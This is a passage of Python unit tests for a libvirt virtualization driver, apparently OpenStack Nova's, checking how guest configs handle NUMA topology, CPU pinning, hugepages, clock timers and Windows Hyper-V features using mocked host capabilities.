caps.host = vconfig.LibvirtConfigCapsHost() caps.host.cpu = vconfig.LibvirtConfigCPU() caps.host.cpu.arch = "x86_64" caps.host.topology = self._fake_caps_numa_topology() drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref, image_meta) with contextlib.nested( mock.patch.object(host.Host, 'has_min_version', return_value=True), mock.patch.object(host.Host, "get_capabilities", return_value=caps)): cfg = drvr._get_guest_config(instance_ref, [], {}, disk_info) self.assertIsNone(cfg.cpuset) self.assertEqual(0, len(cfg.cputune.vcpupin)) self.assertIsNone(cfg.cpu.numa) def test_get_guest_config_numa_host_instance_no_fit(self): instance_ref = objects.Instance(**self.test_instance) image_meta = {} flavor = objects.Flavor(memory_mb=4096, vcpus=4, root_gb=496, ephemeral_gb=8128, swap=33550336, name='fake', extra_specs={}) instance_ref.flavor = flavor caps = vconfig.LibvirtConfigCaps() caps.host = vconfig.LibvirtConfigCapsHost() caps.host.cpu = vconfig.LibvirtConfigCPU() caps.host.cpu.arch = "x86_64" caps.host.topology = self._fake_caps_numa_topology() drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref, image_meta) with contextlib.nested( mock.patch.object(host.Host, "get_capabilities", return_value=caps), mock.patch.object( hardware, 'get_vcpu_pin_set', return_value=set([3])), mock.patch.object(random, 'choice') ) as (get_host_cap_mock, get_vcpu_pin_set_mock, choice_mock): cfg = drvr._get_guest_config(instance_ref, [], {}, disk_info) self.assertFalse(choice_mock.called) self.assertEqual(set([3]), cfg.cpuset) self.assertEqual(0, len(cfg.cputune.vcpupin)) self.assertIsNone(cfg.cpu.numa) def _test_get_guest_memory_backing_config( self, host_topology, inst_topology, numatune): drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) with mock.patch.object( drvr, "_get_host_numa_topology", return_value=host_topology): return drvr._get_guest_memory_backing_config( inst_topology, numatune) @mock.patch.object(host.Host, 'has_min_version', return_value=True) def test_get_guest_memory_backing_config_large_success(self, mock_version): host_topology = objects.NUMATopology( cells=[ objects.NUMACell( id=3, cpuset=set([1]), memory=1024, mempages=[ objects.NUMAPagesTopology(size_kb=4, total=2000, used=0), objects.NUMAPagesTopology(size_kb=2048, total=512, used=0), objects.NUMAPagesTopology(size_kb=1048576, total=0, used=0), ])]) inst_topology = objects.InstanceNUMATopology(cells=[ objects.InstanceNUMACell( id=3, cpuset=set([0, 1]), memory=1024, pagesize=2048)]) numa_tune = vconfig.LibvirtConfigGuestNUMATune() numa_tune.memnodes = [vconfig.LibvirtConfigGuestNUMATuneMemNode()] numa_tune.memnodes[0].cellid = 0 numa_tune.memnodes[0].nodeset = [3] result = self._test_get_guest_memory_backing_config( host_topology, inst_topology, numa_tune) self.assertEqual(1, len(result.hugepages)) self.assertEqual(2048, result.hugepages[0].size_kb) self.assertEqual([0], result.hugepages[0].nodeset) @mock.patch.object(host.Host, 'has_min_version', return_value=True) def test_get_guest_memory_backing_config_smallest(self, mock_version): host_topology = objects.NUMATopology( cells=[ objects.NUMACell( id=3, cpuset=set([1]), memory=1024, mempages=[ objects.NUMAPagesTopology(size_kb=4, total=2000, used=0), objects.NUMAPagesTopology(size_kb=2048, total=512, used=0), objects.NUMAPagesTopology(size_kb=1048576, total=0, used=0), ])]) inst_topology = objects.InstanceNUMATopology(cells=[ objects.InstanceNUMACell( id=3, cpuset=set([0, 1]), memory=1024, pagesize=4)]) numa_tune = vconfig.LibvirtConfigGuestNUMATune() numa_tune.memnodes = [vconfig.LibvirtConfigGuestNUMATuneMemNode()] numa_tune.memnodes[0].cellid = 0 numa_tune.memnodes[0].nodeset = [3] result = self._test_get_guest_memory_backing_config( host_topology, inst_topology, numa_tune) self.assertIsNone(result) def test_get_guest_config_numa_host_instance_pci_no_numa_info(self): instance_ref = objects.Instance(**self.test_instance) image_meta = {} flavor = objects.Flavor(memory_mb=1, vcpus=2, root_gb=496, ephemeral_gb=8128, swap=33550336, name='fake', extra_specs={}) instance_ref.flavor = flavor caps = vconfig.LibvirtConfigCaps() caps.host = vconfig.LibvirtConfigCapsHost() caps.host.cpu = vconfig.LibvirtConfigCPU() caps.host.cpu.arch = "x86_64" caps.host.topology = self._fake_caps_numa_topology() conn = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref, image_meta) pci_device_info = dict(test_pci_device.fake_db_dev) pci_device_info.update(compute_node_id=1, label='fake', status='available', address='0000:00:00.1', instance_uuid=None, request_id=None, extra_info={}, numa_node=None) pci_device = objects.PciDevice(**pci_device_info) with contextlib.nested( mock.patch.object(host.Host, 'has_min_version', return_value=True), mock.patch.object( host.Host, "get_capabilities", return_value=caps), mock.patch.object( hardware, 'get_vcpu_pin_set', return_value=set([3])), mock.patch.object(host.Host, 'get_online_cpus', return_value=set(range(8))), mock.patch.object(pci_manager, "get_instance_pci_devs", return_value=[pci_device])): cfg = conn._get_guest_config(instance_ref, [], {}, disk_info) self.assertEqual(set([3]), cfg.cpuset) self.assertEqual(0, len(cfg.cputune.vcpupin)) self.assertIsNone(cfg.cpu.numa) def test_get_guest_config_numa_host_instance_2pci_no_fit(self): instance_ref = objects.Instance(**self.test_instance) image_meta = {} flavor = objects.Flavor(memory_mb=4096, vcpus=4, root_gb=496, ephemeral_gb=8128, swap=33550336, name='fake', extra_specs={}) instance_ref.flavor = flavor caps = vconfig.LibvirtConfigCaps() caps.host = vconfig.LibvirtConfigCapsHost() caps.host.cpu = vconfig.LibvirtConfigCPU() caps.host.cpu.arch = "x86_64" caps.host.topology = self._fake_caps_numa_topology() conn = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref, image_meta) pci_device_info = dict(test_pci_device.fake_db_dev) pci_device_info.update(compute_node_id=1, label='fake', status='available', address='0000:00:00.1', instance_uuid=None, request_id=None, extra_info={}, numa_node=1) pci_device = objects.PciDevice(**pci_device_info) pci_device_info.update(numa_node=0, address='0000:00:00.2') pci_device2 = objects.PciDevice(**pci_device_info) with contextlib.nested( mock.patch.object( host.Host, "get_capabilities", return_value=caps), mock.patch.object( hardware, 'get_vcpu_pin_set', return_value=set([3])), mock.patch.object(random, 'choice'), mock.patch.object(pci_manager, "get_instance_pci_devs", return_value=[pci_device, pci_device2]) ) as (get_host_cap_mock, get_vcpu_pin_set_mock, choice_mock, pci_mock): cfg = conn._get_guest_config(instance_ref, [], {}, disk_info) self.assertFalse(choice_mock.called) self.assertEqual(set([3]), cfg.cpuset) self.assertEqual(0, len(cfg.cputune.vcpupin)) self.assertIsNone(cfg.cpu.numa) @mock.patch.object(fakelibvirt.Connection, 'getType') @mock.patch.object(fakelibvirt.Connection, 'getVersion') @mock.patch.object(fakelibvirt.Connection, 'getLibVersion') @mock.patch.object(host.Host, 'get_capabilities') @mock.patch.object(libvirt_driver.LibvirtDriver, '_set_host_enabled') def _test_get_guest_config_numa_unsupported(self, fake_lib_version, fake_version, fake_type, fake_arch, exception_class, pagesize, mock_host, mock_caps, mock_lib_version, mock_version, mock_type): instance_topology = objects.InstanceNUMATopology( cells=[objects.InstanceNUMACell( id=0, cpuset=set([0]), memory=1024, pagesize=pagesize)]) instance_ref = objects.Instance(**self.test_instance) instance_ref.numa_topology = instance_topology image_meta = {} flavor = objects.Flavor(memory_mb=1, vcpus=2, root_gb=496, ephemeral_gb=8128, swap=33550336, name='fake', extra_specs={}) instance_ref.flavor = flavor caps = vconfig.LibvirtConfigCaps() caps.host = vconfig.LibvirtConfigCapsHost() caps.host.cpu = vconfig.LibvirtConfigCPU() caps.host.cpu.arch = fake_arch caps.host.topology = self._fake_caps_numa_topology() mock_type.return_value = fake_type mock_version.return_value = fake_version mock_lib_version.return_value = fake_lib_version mock_caps.return_value = caps drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref, image_meta) self.assertRaises(exception_class, drvr._get_guest_config, instance_ref, [], {}, disk_info) def test_get_guest_config_numa_old_version_libvirt(self): self.flags(virt_type='kvm', group='libvirt') self._test_get_guest_config_numa_unsupported( utils.convert_version_to_int( libvirt_driver.MIN_LIBVIRT_NUMA_VERSION) - 1, utils.convert_version_to_int( libvirt_driver.MIN_QEMU_NUMA_HUGEPAGE_VERSION), host.HV_DRIVER_QEMU, arch.X86_64, exception.NUMATopologyUnsupported, None) def test_get_guest_config_numa_bad_version_libvirt(self): self.flags(virt_type='kvm', group='libvirt') self._test_get_guest_config_numa_unsupported( utils.convert_version_to_int( libvirt_driver.BAD_LIBVIRT_NUMA_VERSIONS[0]), utils.convert_version_to_int( libvirt_driver.MIN_QEMU_NUMA_HUGEPAGE_VERSION), host.HV_DRIVER_QEMU, arch.X86_64, exception.NUMATopologyUnsupported, None) def test_get_guest_config_numa_old_version_qemu(self): self.flags(virt_type='kvm', group='libvirt') self._test_get_guest_config_numa_unsupported( utils.convert_version_to_int( libvirt_driver.MIN_LIBVIRT_NUMA_VERSION), utils.convert_version_to_int( libvirt_driver.MIN_QEMU_NUMA_HUGEPAGE_VERSION) - 1, host.HV_DRIVER_QEMU, arch.X86_64, exception.NUMATopologyUnsupported, None) def test_get_guest_config_numa_other_arch_qemu(self): self.flags(virt_type='kvm', group='libvirt') self._test_get_guest_config_numa_unsupported( utils.convert_version_to_int( libvirt_driver.MIN_LIBVIRT_NUMA_VERSION), utils.convert_version_to_int( libvirt_driver.MIN_QEMU_NUMA_HUGEPAGE_VERSION), host.HV_DRIVER_QEMU, arch.PPC64, exception.NUMATopologyUnsupported, None) def test_get_guest_config_numa_xen(self): self.flags(virt_type='xen', group='libvirt') self._test_get_guest_config_numa_unsupported( utils.convert_version_to_int( libvirt_driver.MIN_LIBVIRT_NUMA_VERSION), utils.convert_version_to_int((4, 5, 0)), 'XEN', arch.X86_64, exception.NUMATopologyUnsupported, None) def test_get_guest_config_numa_old_pages_libvirt(self): self.flags(virt_type='kvm', group='libvirt') self._test_get_guest_config_numa_unsupported( utils.convert_version_to_int( libvirt_driver.MIN_LIBVIRT_HUGEPAGE_VERSION) - 1, utils.convert_version_to_int( libvirt_driver.MIN_QEMU_NUMA_HUGEPAGE_VERSION), host.HV_DRIVER_QEMU, arch.X86_64, exception.MemoryPagesUnsupported, 2048) def test_get_guest_config_numa_old_pages_qemu(self): self.flags(virt_type='kvm', group='libvirt') self._test_get_guest_config_numa_unsupported( utils.convert_version_to_int( libvirt_driver.MIN_LIBVIRT_HUGEPAGE_VERSION), utils.convert_version_to_int( libvirt_driver.MIN_QEMU_NUMA_HUGEPAGE_VERSION) - 1, host.HV_DRIVER_QEMU, arch.X86_64, exception.NUMATopologyUnsupported, 2048) def test_get_guest_config_numa_host_instance_fit_w_cpu_pinset(self): instance_ref = objects.Instance(**self.test_instance) image_meta = {} flavor = objects.Flavor(memory_mb=1024, vcpus=2, root_gb=496, ephemeral_gb=8128, swap=33550336, name='fake', extra_specs={}) instance_ref.flavor = flavor caps = vconfig.LibvirtConfigCaps() caps.host = vconfig.LibvirtConfigCapsHost() caps.host.cpu = vconfig.LibvirtConfigCPU() caps.host.cpu.arch = "x86_64" caps.host.topology = self._fake_caps_numa_topology(kb_mem=4194304) drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref, image_meta) with contextlib.nested( mock.patch.object(host.Host, 'has_min_version', return_value=True), mock.patch.object(host.Host, "get_capabilities", return_value=caps), mock.patch.object( hardware, 'get_vcpu_pin_set', return_value=set([2, 3])), mock.patch.object(host.Host, 'get_online_cpus', return_value=set(range(8))) ) as (has_min_version_mock, get_host_cap_mock, get_vcpu_pin_set_mock, get_online_cpus_mock): cfg = drvr._get_guest_config(instance_ref, [], {}, disk_info) # NOTE(ndipanov): we make sure that pin_set was taken into account # when choosing viable cells self.assertEqual(set([2, 3]), cfg.cpuset) self.assertEqual(0, len(cfg.cputune.vcpupin)) self.assertIsNone(cfg.cpu.numa) def test_get_guest_config_non_numa_host_instance_topo(self): instance_topology = objects.InstanceNUMATopology( cells=[objects.InstanceNUMACell( id=0, cpuset=set([0]), memory=1024), objects.InstanceNUMACell( id=1, cpuset=set([2]), memory=1024)]) instance_ref = objects.Instance(**self.test_instance) instance_ref.numa_topology = instance_topology image_meta = {} flavor = objects.Flavor(memory_mb=2048, vcpus=2, root_gb=496, ephemeral_gb=8128, swap=33550336, name='fake', extra_specs={}) instance_ref.flavor = flavor caps = vconfig.LibvirtConfigCaps() caps.host = vconfig.LibvirtConfigCapsHost() caps.host.cpu = vconfig.LibvirtConfigCPU() caps.host.cpu.arch = "x86_64" caps.host.topology = None drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref, image_meta) with contextlib.nested( mock.patch.object( objects.InstanceNUMATopology, "get_by_instance_uuid", return_value=instance_topology), mock.patch.object(host.Host, 'has_min_version', return_value=True), mock.patch.object(host.Host, "get_capabilities", return_value=caps)): cfg = drvr._get_guest_config(instance_ref, [], {}, disk_info) self.assertIsNone(cfg.cpuset) self.assertEqual(0, len(cfg.cputune.vcpupin)) self.assertIsNone(cfg.numatune) self.assertIsNotNone(cfg.cpu.numa) for instance_cell, numa_cfg_cell in zip( instance_topology.cells, cfg.cpu.numa.cells): self.assertEqual(instance_cell.id, numa_cfg_cell.id) self.assertEqual(instance_cell.cpuset, numa_cfg_cell.cpus) self.assertEqual(instance_cell.memory * units.Ki, numa_cfg_cell.memory) def test_get_guest_config_numa_host_instance_topo(self): instance_topology = objects.InstanceNUMATopology( cells=[objects.InstanceNUMACell( id=1, cpuset=set([0, 1]), memory=1024, pagesize=None), objects.InstanceNUMACell( id=2, cpuset=set([2, 3]), memory=1024, pagesize=None)]) instance_ref = objects.Instance(**self.test_instance) instance_ref.numa_topology = instance_topology image_meta = {} flavor = objects.Flavor(memory_mb=2048, vcpus=4, root_gb=496, ephemeral_gb=8128, swap=33550336, name='fake', extra_specs={}) instance_ref.flavor = flavor caps = vconfig.LibvirtConfigCaps() caps.host = vconfig.LibvirtConfigCapsHost() caps.host.cpu = vconfig.LibvirtConfigCPU() caps.host.cpu.arch = "x86_64" caps.host.topology = self._fake_caps_numa_topology() drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref, image_meta) with contextlib.nested( mock.patch.object( objects.InstanceNUMATopology, "get_by_instance_uuid", return_value=instance_topology), mock.patch.object(host.Host, 'has_min_version', return_value=True), mock.patch.object(host.Host, "get_capabilities", return_value=caps), mock.patch.object( hardware, 'get_vcpu_pin_set', return_value=set([2, 3, 4, 5])), mock.patch.object(host.Host, 'get_online_cpus', return_value=set(range(8))), ): cfg = drvr._get_guest_config(instance_ref, [], {}, disk_info) self.assertIsNone(cfg.cpuset) # Test that the pinning is correct and limited to allowed only self.assertEqual(0, cfg.cputune.vcpupin[0].id) self.assertEqual(set([2, 3]), cfg.cputune.vcpupin[0].cpuset) self.assertEqual(1, cfg.cputune.vcpupin[1].id) self.assertEqual(set([2, 3]), cfg.cputune.vcpupin[1].cpuset) self.assertEqual(2, cfg.cputune.vcpupin[2].id) self.assertEqual(set([4, 5]), cfg.cputune.vcpupin[2].cpuset) self.assertEqual(3, cfg.cputune.vcpupin[3].id) self.assertEqual(set([4, 5]), cfg.cputune.vcpupin[3].cpuset) self.assertIsNotNone(cfg.cpu.numa) self.assertIsInstance(cfg.cputune.emulatorpin, vconfig.LibvirtConfigGuestCPUTuneEmulatorPin) self.assertEqual(set([2, 3, 4, 5]), cfg.cputune.emulatorpin.cpuset) for instance_cell, numa_cfg_cell, index in zip( instance_topology.cells, cfg.cpu.numa.cells, range(len(instance_topology.cells))): self.assertEqual(index, numa_cfg_cell.id) self.assertEqual(instance_cell.cpuset, numa_cfg_cell.cpus) self.assertEqual(instance_cell.memory * units.Ki, numa_cfg_cell.memory) allnodes = [cell.id for cell in instance_topology.cells] self.assertEqual(allnodes, cfg.numatune.memory.nodeset) self.assertEqual("strict", cfg.numatune.memory.mode) for instance_cell, memnode, index in zip( instance_topology.cells, cfg.numatune.memnodes, range(len(instance_topology.cells))): self.assertEqual(index, memnode.cellid) self.assertEqual([instance_cell.id], memnode.nodeset) self.assertEqual("strict", memnode.mode) def test_get_guest_config_numa_host_instance_topo_reordered(self): instance_topology = objects.InstanceNUMATopology( cells=[objects.InstanceNUMACell( id=3, cpuset=set([0, 1]), memory=1024), objects.InstanceNUMACell( id=0, cpuset=set([2, 3]), memory=1024)]) instance_ref = objects.Instance(**self.test_instance) instance_ref.numa_topology = instance_topology image_meta = {} flavor = objects.Flavor(memory_mb=2048, vcpus=4, root_gb=496, ephemeral_gb=8128, swap=33550336, name='fake', extra_specs={}) instance_ref.flavor = flavor caps = vconfig.LibvirtConfigCaps() caps.host = vconfig.LibvirtConfigCapsHost() caps.host.cpu = vconfig.LibvirtConfigCPU() caps.host.cpu.arch = "x86_64" caps.host.topology = self._fake_caps_numa_topology() drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref, image_meta) with contextlib.nested( mock.patch.object( objects.InstanceNUMATopology, "get_by_instance_uuid", return_value=instance_topology), mock.patch.object(host.Host, 'has_min_version', return_value=True), mock.patch.object(host.Host, "get_capabilities", return_value=caps), mock.patch.object(host.Host, 'get_online_cpus', return_value=set(range(8))), ): cfg = drvr._get_guest_config(instance_ref, [], {}, disk_info) self.assertIsNone(cfg.cpuset) # Test that the pinning is correct and limited to allowed only self.assertEqual(0, cfg.cputune.vcpupin[0].id) self.assertEqual(set([6, 7]), cfg.cputune.vcpupin[0].cpuset) self.assertEqual(1, cfg.cputune.vcpupin[1].id) self.assertEqual(set([6, 7]), cfg.cputune.vcpupin[1].cpuset) self.assertEqual(2, cfg.cputune.vcpupin[2].id) self.assertEqual(set([0, 1]), cfg.cputune.vcpupin[2].cpuset) self.assertEqual(3, cfg.cputune.vcpupin[3].id) self.assertEqual(set([0, 1]), cfg.cputune.vcpupin[3].cpuset) self.assertIsNotNone(cfg.cpu.numa) self.assertIsInstance(cfg.cputune.emulatorpin, vconfig.LibvirtConfigGuestCPUTuneEmulatorPin) self.assertEqual(set([0, 1, 6, 7]), cfg.cputune.emulatorpin.cpuset) for index, (instance_cell, numa_cfg_cell) in enumerate(zip( instance_topology.cells, cfg.cpu.numa.cells)): self.assertEqual(index, numa_cfg_cell.id) self.assertEqual(instance_cell.cpuset, numa_cfg_cell.cpus) self.assertEqual(instance_cell.memory * units.Ki, numa_cfg_cell.memory) allnodes = set([cell.id for cell in instance_topology.cells]) self.assertEqual(allnodes, set(cfg.numatune.memory.nodeset)) self.assertEqual("strict", cfg.numatune.memory.mode) for index, (instance_cell, memnode) in enumerate(zip( instance_topology.cells, cfg.numatune.memnodes)): self.assertEqual(index, memnode.cellid) self.assertEqual([instance_cell.id], memnode.nodeset) self.assertEqual("strict", memnode.mode) def test_get_guest_config_numa_host_instance_topo_cpu_pinning(self): instance_topology = objects.InstanceNUMATopology( cells=[objects.InstanceNUMACell( id=1, cpuset=set([0, 1]), memory=1024, cpu_pinning={0: 24, 1: 25}), objects.InstanceNUMACell( id=0, cpuset=set([2, 3]), memory=1024, cpu_pinning={2: 0, 3: 1})]) instance_ref = objects.Instance(**self.test_instance) instance_ref.numa_topology = instance_topology image_meta = {} flavor = objects.Flavor(memory_mb=2048, vcpus=2, root_gb=496, ephemeral_gb=8128, swap=33550336, name='fake', extra_specs={}) instance_ref.flavor = flavor caps = vconfig.LibvirtConfigCaps() caps.host = vconfig.LibvirtConfigCapsHost() caps.host.cpu = vconfig.LibvirtConfigCPU() caps.host.cpu.arch = "x86_64" caps.host.topology = self._fake_caps_numa_topology( sockets_per_cell=4, cores_per_socket=3, threads_per_core=2) conn = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref, image_meta) with contextlib.nested( mock.patch.object( objects.InstanceNUMATopology, "get_by_instance_uuid", return_value=instance_topology), mock.patch.object(host.Host, 'has_min_version', return_value=True), mock.patch.object(host.Host, "get_capabilities", return_value=caps), mock.patch.object(host.Host, 'get_online_cpus', return_value=set(range(8))), ): cfg = conn._get_guest_config(instance_ref, [], {}, disk_info) self.assertIsNone(cfg.cpuset) # Test that the pinning is correct and limited to allowed only self.assertEqual(0, cfg.cputune.vcpupin[0].id) self.assertEqual(set([24]), cfg.cputune.vcpupin[0].cpuset) self.assertEqual(1, cfg.cputune.vcpupin[1].id) self.assertEqual(set([25]), cfg.cputune.vcpupin[1].cpuset) self.assertEqual(2, cfg.cputune.vcpupin[2].id) self.assertEqual(set([0]), cfg.cputune.vcpupin[2].cpuset) self.assertEqual(3, cfg.cputune.vcpupin[3].id) self.assertEqual(set([1]), cfg.cputune.vcpupin[3].cpuset) self.assertIsNotNone(cfg.cpu.numa) # Emulator must be pinned to union of cfg.cputune.vcpupin[*].cpuset self.assertIsInstance(cfg.cputune.emulatorpin, vconfig.LibvirtConfigGuestCPUTuneEmulatorPin) self.assertEqual(set([0, 1, 24, 25]), cfg.cputune.emulatorpin.cpuset) for i, (instance_cell, numa_cfg_cell) in enumerate(zip( instance_topology.cells, cfg.cpu.numa.cells)): self.assertEqual(i, numa_cfg_cell.id) self.assertEqual(instance_cell.cpuset, numa_cfg_cell.cpus) self.assertEqual(instance_cell.memory * units.Ki, numa_cfg_cell.memory) allnodes = set([cell.id for cell in instance_topology.cells]) self.assertEqual(allnodes, set(cfg.numatune.memory.nodeset)) self.assertEqual("strict", cfg.numatune.memory.mode) for i, (instance_cell, memnode) in enumerate(zip( instance_topology.cells, cfg.numatune.memnodes)): self.assertEqual(i, memnode.cellid) self.assertEqual([instance_cell.id], memnode.nodeset) self.assertEqual("strict", memnode.mode) def test_get_cpu_numa_config_from_instance(self): topology = objects.InstanceNUMATopology(cells=[ objects.InstanceNUMACell(id=0, cpuset=set([1, 2]), memory=128), objects.InstanceNUMACell(id=1, cpuset=set([3, 4]), memory=128), ]) drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) conf = drvr._get_cpu_numa_config_from_instance(topology) self.assertIsInstance(conf, vconfig.LibvirtConfigGuestCPUNUMA) self.assertEqual(0, conf.cells[0].id) self.assertEqual(set([1, 2]), conf.cells[0].cpus) self.assertEqual(131072, conf.cells[0].memory) self.assertEqual(1, conf.cells[1].id) self.assertEqual(set([3, 4]), conf.cells[1].cpus) self.assertEqual(131072, conf.cells[1].memory) def test_get_cpu_numa_config_from_instance_none(self): drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) conf = drvr._get_cpu_numa_config_from_instance(None) self.assertIsNone(conf) @mock.patch.object(host.Host, 'has_version', return_value=True) def test_has_cpu_policy_support(self, mock_has_version): drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) self.assertRaises(exception.CPUPinningNotSupported, drvr._has_cpu_policy_support) def test_get_guest_config_clock(self): self.flags(virt_type='kvm', group='libvirt') drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) instance_ref = objects.Instance(**self.test_instance) image_meta = {} disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref, image_meta) image_meta = {} hpet_map = { arch.X86_64: True, arch.I686: True, arch.PPC: False, arch.PPC64: False, arch.ARMV7: False, arch.AARCH64: False, } for guestarch, expect_hpet in hpet_map.items(): with mock.patch.object(libvirt_driver.libvirt_utils, 'get_arch', return_value=guestarch): cfg = drvr._get_guest_config(instance_ref, [], image_meta, disk_info) self.assertIsInstance(cfg.clock, vconfig.LibvirtConfigGuestClock) self.assertEqual(cfg.clock.offset, "utc") self.assertIsInstance(cfg.clock.timers[0], vconfig.LibvirtConfigGuestTimer) self.assertIsInstance(cfg.clock.timers[1], vconfig.LibvirtConfigGuestTimer) self.assertEqual(cfg.clock.timers[0].name, "pit") self.assertEqual(cfg.clock.timers[0].tickpolicy, "delay") self.assertEqual(cfg.clock.timers[1].name, "rtc") self.assertEqual(cfg.clock.timers[1].tickpolicy, "catchup") if expect_hpet: self.assertEqual(3, len(cfg.clock.timers)) self.assertIsInstance(cfg.clock.timers[2], vconfig.LibvirtConfigGuestTimer) self.assertEqual('hpet', cfg.clock.timers[2].name) self.assertFalse(cfg.clock.timers[2].present) else: self.assertEqual(2, len(cfg.clock.timers)) @mock.patch.object(libvirt_utils, 'get_arch') @mock.patch.object(host.Host, 'has_min_version') def test_get_guest_config_windows(self, mock_version, mock_get_arch): mock_version.return_value = False mock_get_arch.return_value = arch.I686 drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) instance_ref = objects.Instance(**self.test_instance) instance_ref['os_type'] = 'windows' image_meta = {} disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref, image_meta) cfg = drvr._get_guest_config(instance_ref, _fake_network_info(self.stubs, 1), {}, disk_info) self.assertIsInstance(cfg.clock, vconfig.LibvirtConfigGuestClock) self.assertEqual(cfg.clock.offset, "localtime") self.assertEqual(3, len(cfg.clock.timers), cfg.clock.timers) self.assertEqual("pit", cfg.clock.timers[0].name) self.assertEqual("rtc", cfg.clock.timers[1].name) self.assertEqual("hpet", cfg.clock.timers[2].name) self.assertFalse(cfg.clock.timers[2].present) @mock.patch.object(libvirt_utils, 'get_arch') @mock.patch.object(host.Host, 'has_min_version') def test_get_guest_config_windows_timer(self, mock_version, mock_get_arch): mock_version.return_value = True mock_get_arch.return_value = arch.I686 drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) instance_ref = objects.Instance(**self.test_instance) instance_ref['os_type'] = 'windows' image_meta = {} disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref, image_meta) cfg = drvr._get_guest_config(instance_ref, _fake_network_info(self.stubs, 1), {}, disk_info) self.assertIsInstance(cfg.clock, vconfig.LibvirtConfigGuestClock) self.assertEqual(cfg.clock.offset, "localtime") self.assertEqual(4, len(cfg.clock.timers), cfg.clock.timers) self.assertEqual("pit", cfg.clock.timers[0].name) self.assertEqual("rtc", cfg.clock.timers[1].name) self.assertEqual("hpet", cfg.clock.timers[2].name) self.assertFalse(cfg.clock.timers[2].present) self.assertEqual("hypervclock", cfg.clock.timers[3].name) self.assertTrue(cfg.clock.timers[3].present) self.assertEqual(3, len(cfg.features)) self.assertIsInstance(cfg.features[0], vconfig.LibvirtConfigGuestFeatureACPI) self.assertIsInstance(cfg.features[1], vconfig.LibvirtConfigGuestFeatureAPIC) self.assertIsInstance(cfg.features[2], vconfig.LibvirtConfigGuestFeatureHyperV) @mock.patch.object(host.Host, 'has_min_version') def test_get_guest_config_windows_hyperv_feature1(self, mock_version): def fake_version(lv_ver=None, hv_ver=None, hv_type=None): if lv_ver == (1, 0, 0) and hv_ver == (1, 1, 0): return True return False mock_version.side_effect = fake_version drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) instance_ref = objects.Instance(**self.test_instance) instance_ref['os_type'] = 'windows' image_meta = {} disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref, image_meta) cfg = drvr._get_guest_config(instance_ref, _fake_network_info(self.stubs, 1), {}, disk_info) self.assertIsInstance(cfg.clock, vconfig.LibvirtConfigGuestClock) self.assertEqual(cfg.clock.offset, "localtime") self.assertEqual(3, len(cfg.features)) self.assertIsInstance(cfg.features[0], vconfig.LibvirtConfigGuestFeatureACPI) self.assertIsInstance(cfg.features[1], vconfig.LibvirtConfigGuestFeatureAPIC) self.assertIsInstance(cfg.features[2], vconfig.LibvirtConfigGuestFeatureHyperV) self.assertTrue(cfg.features[2].relaxed) self.assertFalse(cfg.features[2].spinlocks) self.assertFalse(cfg.features[2].vapic) @mock.patch.object(host.Host, 'has_min_version') def test_get_guest_config_windows_hyperv_feature2(self, mock_version): mock_version.return_value = True drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) instance_ref = objects.Instance(**self.test_instance) instance_ref['os_type'] = 'windows' image_meta = {} disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref, image_meta) cfg = drvr._get_guest_config(instance_ref, _fake_network_info(self.stubs, 1), {}, disk_info) self.assertIsInstance(cfg.clock, vconfig.LibvirtConfigGuestClock) self.assertEqual(cfg.clock.offset, "localtime") self.assertEqual(3, len(cfg.features)) self.assertIsInstance(cfg.features[0], vconfig.LibvirtConfigGuestFeatureACPI) self.assertIsInstance(cfg.features[1], vconfig.LibvirtConfigGuestFeatureAPIC) self.assertIsInstance(cfg.features[2], vconfig.LibvirtConfigGuestFeatureHyperV) self.assertTrue(cfg.features[2].relaxed) self.assertTrue(cfg.features[2].spinlocks) self.assertEqual(8191, cfg.features[2].spinlock_retries) self.assertTrue(cfg.features[2].vapic) def test_get_guest_config_with_two_nics(self): drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) instance_ref = objects.Instance(**self.test_instance) image_meta = {} disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref, image_meta) cfg = drvr._get_guest_config(instance_ref, _fake_network_info(self.stubs, 2), {}, disk_info) self.assertEqual(2, len(cfg.features)) self.assertIsInstance(cfg.features[0], vconfig.LibvirtConfigGuestFeatureACPI) self.assertIsInstance(cfg.features[1], vconfig.LibvirtConfigGuestFeatureAPIC) 